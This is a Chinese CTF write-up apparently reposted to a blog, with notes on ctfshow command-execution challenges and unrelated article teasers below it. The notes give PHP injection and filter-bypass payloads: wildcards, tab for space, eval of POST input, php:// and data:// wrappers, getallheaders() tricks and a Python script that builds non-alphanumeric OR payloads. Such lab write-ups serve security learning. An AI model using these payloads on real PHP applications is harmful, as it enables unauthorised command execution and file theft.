ctfshow-命令执行

大佬文章

L i n u x \rm Linux Linux 下空格绕过

无参数 r c e \rm rce rce

无字符 r c e \rm rce rce

web29

  • 通配符:

    *:匹配任意多个字符

    ?:匹配任意一个字符

    []:匹配某个范围的字符( [ a d ] [ad] [ad] 表示 a − d a-d ad 的字符)

    {a,b}:匹配 a a a 或者 b b b

web30

  • echo `cat flag`:表示先运行 cat flag,然后再把结果输出

web31

  1. %09(tab) 绕过空格

  2. 命令拼接:c=eval($_POST[a]);,然后 POST 传入一个变量 a 即可

  3. 无参数 r c e \rm rce rce

web32

  • 过滤分号,用 ?> 代替

  • 过滤括号,使用 include 函数,其不需要括号传参(例如 include a.php)

因此 ?c=include%09$_POST[a]?> ,之后 post 传入一个文件即可

文件会被注释掉(显示不出来),所以考虑伪协议读文件

a=php://filter/read=convert.base64-encode/resource=flag.php

web37

  • 使用 php://input 协议,之后 post 传入需要的 php 代码即可

web38

  • data 伪协议读文件

    c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== ( b a s e 64 \rm base64 base64system("cat flag");)

web39

  • 同web38

web40

  • 无参数命令执行

    getallheaders()http 头中的信息放到一个数组里面

    修改http 头中的某些不重要的内容为 system("cat flag"),使用语句 eval(array_rand(array_flip(getallheaders())));,多刷新几次即可做到无参数命令执行

web41

  • 无数字字母 r c e \rm rce rce

    一般实现方法是自增,取反,异或,或

    这题用的是或运算

    # coding=gbk
    import re
    import requests
    use = []
    def get_and(aim, use):ans1 = ""ans2 = ""for i in range(len(aim)):ok = Falsefor j in range(len(use)):for k in range(j,len(use)):if (ord(use[j]) | ord(use[k])) == ord(aim[i]):ans1 = ans1 + use[j]ans2 = ans2 + use[k]ok = Trueif ok: breakif ok: break            ans = ""for i in range(len(ans1)): ans += chr(ord(ans1[i]) | ord(ans2[i]))    print(ans)return "(\""+ans1+"\"|\""+ans2+"\")"if __name__ == '__main__':match_str = "/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-"url = "http://e5280b73-c2cb-4f3f-9309-68319256efdf.challenge.ctf.show/"for i in range(256):c = chr(i)tmp = re.match(match_str, c, re.I)if tmp == None:use.append(c)func = "system"argu = "cat flag.php"data = {"c":get_and(func,use)+get_and(argu,use)}print(data)r = requests.post(url = url, data = data)print(r.text)
    

web42

system($c." >/dev/null 2>&1"); 黑洞代码

  1. cat flag && ls:只会让后面的查询没有

  2. ls ##shell 脚本的注释

web46

  • flag 被过滤,可以换成 f''lag

未完待续

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/648788.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

day05-盒子模型

01-选择器 结构伪类选择器 基本使用 作用:根据元素的结构关系查找元素。 li:first-child {background-color: green; } :nth-child(公式) 提示:公式中的n取值从 0 开始。 伪元素选择器 作用:创建虚拟元素(伪元素)…

基于单片机的感应自动门控制器的设计

摘要 现如今自动化、信息化程度越来越高, 单片机的应用领域也越来越广, 成为人们生活不可或缺的一部分。随省社会的发展、科技的进步以及人们生活水平的逐步提高,各种方便千生活的自动控制系统开始进入了人们的生活,以单片机为核…

vue项目中如何使用SVG图标

IconFont使用的不足:图标添加、修改、删除以后在线链接需要更新离线资源需要重新下载项目代码需要同步更新。 在项目不断更新和迭代的过程中,图标的增减变化还没有稳定的情况下,开发人员的工作效率会明显下降。 那么有没有一个图标应用方式…

【C++】list讲解及模拟

目录 list的基本介绍 list模拟实现 一.创建节点 二.迭代器 1.模版参数 2.迭代器的实现: a. ! b. c. -- d. *指针 e.&引用 整体iterator (与const复用): 三.功能实现 1.模版参数 2.具体功能实现: 2.1 构造函数 2.2 begi…

【操作系统】实验九 写一个设备驱动程序

🕺作者: 主页 我的专栏C语言从0到1探秘C数据结构从0到1探秘Linux 😘欢迎关注:👍点赞🙌收藏✍️留言 🏇码字不易,你的👍点赞🙌收藏❤️关注对我真的很重要&…

QT基础篇(17)QML编程基础

1.QML概述 QML(Qt Meta-Object Language)是一种声明性语言,它被用于描述Qt框架中用户界面的结构和行为。QML提供了一种简洁、灵活的方式来创建动态和交互式的界面。 QML基于JavaScript语法,通过使用QML类型和属性来定义界面的元…

6.【SpringBoot3】登录优化-redis

1. SpringBoot 集成 redis 示例 在之前实现的登录接口中,用户登录成功后会生成一个令牌响应给浏览器,之后浏览器访问其他接口时,都要携带该令牌,接受拦截器的检验,如果令牌有效就放行,允许访问后续接口&am…

短视频矩阵怎么玩?小魔推助力实体店做高效矩阵

在如今的互联网时代,每个行业的老板都在考虑转型发展的方向,特别是抖音短视频作为近年来日活用户量最高的平台,吸引了众多企业与实体店纷纷入局,想要通过短视频吸引更多的客户,带来更多的成交,但是短视频推…

uml时序图刻画多个线程的活动

使用box关键字圈入不同线程内的组件 使用loop关键字客刻画线程的定时活动 示例

SpringMVC-RESTFul

文章目录 RESTFul一、基础概念二、增删改查1.查询全部用户信息 (GET)2.根据id查询用户信息3.添加用户(POST)4.修改用户 (PUT)5.删除用户 (DELETE) RESTFul 一、基础概念 二、增删改…

GitHub 上传文件夹到远程仓库、再次上传修改文件、如何使用lfs上传大文件、github报错一些问题

按照大家的做法,把自己遇到的问题及解决方案写出来(注意:Error里面有些方法有时候我用可以成功,有时候我用也不能成功,写出来仅供参考,实在不行重头再clone,add,commit,p…

Qt程序设计-修改系统时间(Windows和Linux)

本文讲解Qt程序设计-修改系统时间(windows) 1、实例 创建项目,添加DateEdit和TimeEdit控件和按钮 头文件 #ifndef MAINWINDOW_H #define MAINWINDOW_H#include <QMainWindow>namespace Ui { class MainWindow; }class MainWindow : public QMainWindow {Q_OBJECTpubl…

C#,生成图片的指定尺寸缩略图的源代码

编程的时候经常用到图像的缩略图。 本文发布一个用于生成指定尺寸的缩略图的简单方法。 1 文本格式 private void button1_Click(object sender, EventArgs e) { CreateThumbnail("demo.jpg", "demo_thumb.jpg", 128, 128); } private void CreateTh…

社交媒体与新闻:Facebook在信息传播中的角色

社交媒体的崛起不仅改变了人们的日常交流方式&#xff0c;也对新闻传播产生了深远的影响。在众多社交媒体平台中&#xff0c;Facebook以其庞大的用户基础和强大的社交网络机制&#xff0c;成为信息传播的中流砥柱。本文将深入探讨Facebook在社交媒体与新闻传播的交汇点上扮演的…

xshell无法连接linux,查询本机ip时出现<NO-CARRIER,BROADCAST,MULTICAST,UP>

在用xshell连接虚拟机VMware中的linux时&#xff0c;发现昨天还能连通的&#xff0c;今天连接不了了 我寻思应该是网卡配置出问题了&#xff0c;就去终端ip addr试了一下&#xff0c;果然发现问题&#xff0c;ip 查看网卡ens33就发现出现ens33:<NO-CARRIER,BROADCAST,MULTI…

Git学习笔记:版本回滚

文章目录 回到过去&#xff1a;开启新时间线&#xff0c;时间分叉路口1. 回溯开发2. 临时恢复特性3. 实验性开发4. 分支维护和发布5. 调试历史问题类比推理&#xff1a; 方法&#xff1a;1. 临时查看旧版本2. 永久回滚到旧版本3. 创建新的分支指向旧版本 回到过去&#xff1a;开…

git安装步骤

安装环境&#xff1a;Windows10 64bit 下载 Git网址 &#xff1a;Git - Downloading Package 版本&#xff1a;Git-2.21.0-64-bit 第一步&#xff1a;双击下载后的Git-2.21.0-64-bit.exe&#xff0c;开始安装 安装开始 第二步&#xff1a;选择安装路径&#xff0c;点击[next]…

以史为鉴:1997 年香港股市保卫战对当前 A 股投资的启示与思考

文章目录 惊心动魄:1997 年香港股市保卫战,港府与索罗斯的巅峰对决!以史为鉴:1997 年香港股市保卫战对当前 A 股投资的启示与思考!为什么是8月28日决战?为什么是7829点获胜?香港股市保卫战对判断 A 股底部的启示市场情绪反转指标期货指数先行性其他惊心动魄:1997 年香港…

35.搜索插入位置(力扣LeetCode)

文章目录 搜索插入位置题目描述二分查找暴力 搜索插入位置 题目描述 给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c;并返回其索引。如果目标值不存在于数组中&#xff0c;返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法…

Linux基础指令大汇总

Linux的指令比较多&#xff0c;在学习的过程中要学会总结和归纳&#xff0c;同时结合实践多多使用&#xff0c;就像学数学一样&#xff0c;不是背过公式就等于掌握的&#xff0c;而是要知道在什么时候用&#xff0c;怎么用才是关键。 这篇文章会列举一系列常用的指令&#xff0…